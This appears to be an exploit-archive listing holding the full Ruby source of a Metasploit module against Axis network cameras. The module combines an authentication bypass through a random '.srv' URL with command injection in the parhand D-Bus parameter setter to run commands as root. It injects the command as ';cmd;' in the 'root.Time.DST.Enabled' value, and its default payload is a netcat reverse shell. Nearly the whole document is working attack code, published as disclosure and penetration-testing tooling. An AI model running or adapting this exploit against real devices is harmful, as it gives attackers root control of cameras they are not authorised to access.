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Axis Network Camera Remote Command Execution

Axis Network Camera Remote Command Execution
Posted Jul 26, 2018
Authored by sinn3r, Chris Lee, wvu, Matthew Kienow, Or Peles, Jacob Robles, Shelby Pace, Cale Black, Brent Cook | Site metasploit.com

This Metasploit module exploits an authentication bypass in .srv functionality and a command injection in parhand to execute code as the root user.

tags | exploit, root
advisories | CVE-2018-10660, CVE-2018-10661, CVE-2018-10662
MD5 | 66359d0727b130b0477a2848942c2518

Axis Network Camera Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
#include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Axis Network Camera .srv to parhand RCE',
'Description' => %q{
This module exploits an auth bypass in .srv functionality and a
command injection in parhand to execute code as the root user.
},
'Author' => [
'Or Peles', # Vulnerability discovery (VDOO)
'wvu', # Metasploit module
'sinn3r', # Metasploit module
'Brent Cook', # Metasploit module
'Jacob Robles', # Metasploit module
'Matthew Kienow', # Metasploit module
'Shelby Pace', # Metasploit module
'Chris Lee', # Metasploit module
'Cale Black' # Metasploit module
],
'References' => [
['CVE', '2018-10660'],
['CVE', '2018-10661'],
['CVE', '2018-10662'],
['URL', 'https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/'],
['URL', 'https://www.axis.com/files/faq/Advisory_ACV-128401.pdf']
],
'DisclosureDate' => 'Jun 18 2018',
'License' => MSF_LICENSE,
'Platform' => ['unix'],# 'linux'],
'Arch' => [ARCH_CMD],# ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {
'BadChars' => ' ',
'Encoder' => 'cmd/ifs',
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'netcat-e'}
}
],
=begin
['Linux Dropper',
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Type' => :linux_dropper
]
=end
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'}
))
end

def exploit
case target['Type']
when :unix_memory
execute_command(payload.encoded)
=begin
when :linux_dropper
execute_cmdstager
=end
end
end

def execute_command(cmd, opts = {})
rand_srv = "#{Rex::Text.rand_text_alphanumeric(8..42)}.srv"

send_request_cgi(
'method' => 'POST',
'uri' => "/index.html/#{rand_srv}",
'vars_post' => {
'action' => 'dbus',
'args' => dbus_send(
method: :set_param,
param: "string:root.Time.DST.Enabled string:;#{cmd};"
)
}
)

send_request_cgi(
'method' => 'POST',
'uri' => "/index.html/#{rand_srv}",
'vars_post' => {
'action' => 'dbus',
'args' => dbus_send(method: :synch_params)
}
)
end

def dbus_send(method:, param: nil)
args = '--system --dest=com.axis.PolicyKitParhand ' \
'--type=method_call /com/axis/PolicyKitParhand '

args <<
case method
when :set_param
"com.axis.PolicyKitParhand.SetParameter #{param}"
when :synch_params
'com.axis.PolicyKitParhand.SynchParameters'
end

args
end

end

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